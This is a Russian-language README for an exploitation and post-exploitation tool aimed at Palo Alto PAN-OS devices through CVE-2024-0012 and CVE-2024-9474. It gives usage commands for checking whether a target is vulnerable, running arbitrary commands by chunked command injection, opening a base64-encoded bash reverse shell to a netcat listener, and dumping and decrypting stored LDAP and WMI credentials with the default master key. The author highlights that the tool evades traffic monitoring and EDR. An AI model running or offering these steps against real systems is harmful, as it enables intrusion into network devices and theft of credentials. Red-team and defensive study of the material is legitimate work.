
Мультитул для эксплуатации и пост-эксплуатации для систем Palo Alto PAN-OS, подверженных уязвимостям CVE-2024-0012 и CVE-2024-9474
Мультитул для эксплуатации и пост-эксплуатации систем Palo Alto PAN-OS, подверженных уязвимостям CVE-2024-0012 и CVE-2024-9474
В ходе ранней эксплуатации уязвимостей удалённого выполнения кода CVE-2024-0012 и CVE-2024-9474 я получил оболочку и начал выявлять конфигурационные файлы, содержащие необычные строки в различных полях паролей. Поскольку это явно были не распространённые хэш-форматы, мы с командой начали изучать этот вопрос и быстро обнаружили консультацию по безопасности на сайте ThreatLabs, в которой упоминалось, что учётные данные PAN-OS шифруются (шифровались?) с использованием общеизвестного мастер-ключа по умолчанию. Хотя этот мастер-ключ можно изменить в конфигурации устройства, я выяснил, что мастер-ключ по умолчанию используется во всех случаях, когда я сталкивался с этими уязвимостями. Разрабатывая этот инструмент, я ставлю целью создать простой способ эксплуатации этих уязвимостей, выполнения пост-эксплуатации и сбора учётных данных, а также получения учётных данных в открытом виде полностью через зашифрованный HTTPS-трафик, без необходимости в постоянных соединениях, которые могут быть обнаружены системами мониторинга сети и трафика.
В настоящее время поддерживается автоматическое получение и расшифровка учётных данных LDAP и WMI, хотя я сталкивался с редкими случаями, когда строки секретов шифруются внутри конфигурационных файлов с нестандартными именами XML-полей. Сейчас я работаю над выявлением причин этих уникальных случаев, чтобы обеспечить полную поддержку. Обратите внимание, что разработка продолжается.
Перед использованием убедитесь, что все необходимые зависимости установлены, выполнив команду, например:
pip3 install -r requirements.txt
Команда "check" позволяет проверить, уязвима ли удалённая цель для CVE-2024-0012. При указании удалённого хоста по его IP-адресу обязательно используйте аргумент --no-verify. Пример:
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify

Команда "command" позволяет эксплуатировать CVE-2024-0012 и CVE-2024-9474 на удалённой цели для выполнения вручную заданной команды и получения её вывода через веб-интерфейс. Как и в командах dump и shell, предоставленная команда разбивается на блоки, достаточно малые для размещения в уязвимости внедрения команд CVE-2024-9474, записывается во временный файл оболочки в каталоге с возможностью записи (по умолчанию /var/tmp/), а затем выполняется на цели. Результат записывается во временный PHP-файл в /var/appweb/htdocs{remote_dir}, извлекается по HTTPS, выводится в консоль и автоматически очищается, если не указан аргумент --no-cleanup. Опять же, не забудьте --no-verify, когда это необходимо.
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
Необязательный флаг --silentcommand выполняет указанную команду тем же методом разбиения и внедрения, что и выше, но без перенаправления вывода в веб-доступный файл и без выполнения запроса на получение. Это полезно для действий типа "запустил и забыл", когда вывод не требуется, или когда приоритетом является минимизация количества веб-запросов и создаваемых на цели файлов. Поскольку файл вывода не записывается в веб-путь, очистка удаляет только временные файлы фрагментов полезной нагрузки из каталога с возможностью записи — файл .php для вывода отсутствует.
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand
Команда "shell" позволяет эксплуатировать CVE-2024-0012 и CVE-2024-9474 на удалённой цели для получения обратной оболочки на удалённом хосте. По сути, эта команда создаёт стандартную полезную нагрузку обратной оболочки bash, кодирует её в base64, разбивает закодированный BLOB на блоки, достаточно малые для размещения в уязвимости внедрения команд CVE-2024-9474, а затем выполняет команды для записи каждого блока в файлы в каталоге с возможностью записи (по умолчанию /var/tmp/). После полного сохранения этих блоков они объединяются в один файл оболочки и выполняются на хосте, что должно установить соединение с отдельным слушателем netcat (nc -nvlp {PORT}).
Обратите внимание: в настоящее время тайм-аут, вызванный постоянным соединением обратной оболочки, предотвращает очистку файлов, поэтому вам нужно запомнить случайное имя файла, выведенное в начале работы инструмента, и очистить его из {writable_dir} и /var/appweb/htdocs{remote_dir}. Я исправлю это в следующей версии, но пока не добрался. Опять же, не забудьте --no-verify, когда это необходимо.
nc -nvlp {PORT}
python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify

Это была моя основная цель в этом проекте и главная причина, по которой я хотел создать этот инструмент. Поскольку большинство материалов и инструментов, связанных с этими уязвимостями, касаются удалённого выполнения кода, я не нашёл много примеров описания полезных шагов пост-эксплуатации после этой точки. С помощью команды dump вы можете не только удалённо получать и расшифровывать учётные данные, но и делать это полностью через небольшое количество зашифрованных (HTTPS) веб-запросов без необходимости постоянных соединений. Поскольку на устройствах PAN-OS значительно реже встречаются какие-либо решения EDR/MDR/IDR/XDR/?DR, это особенно эффективно в операциях красных команд.
Команда dump использует аналогичный метод разбиения и выполнения, как и команда shell, но вместо инициирования обратной оболочки она извлекает зашифрованные учётные данные из конфигурационных файлов устройства (расположенных в /opt/pancfg/mgmt/saved-configs/) и затем автоматически расшифровывает идентифицированные пароли с использованием общеизвестного мастер-ключа. Команда dump также удаляет все созданные файлы после расшифровки, если вы не укажете аргумент --no-cleanup. Как всегда, не забудьте --no-verify, когда это необходимо.
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
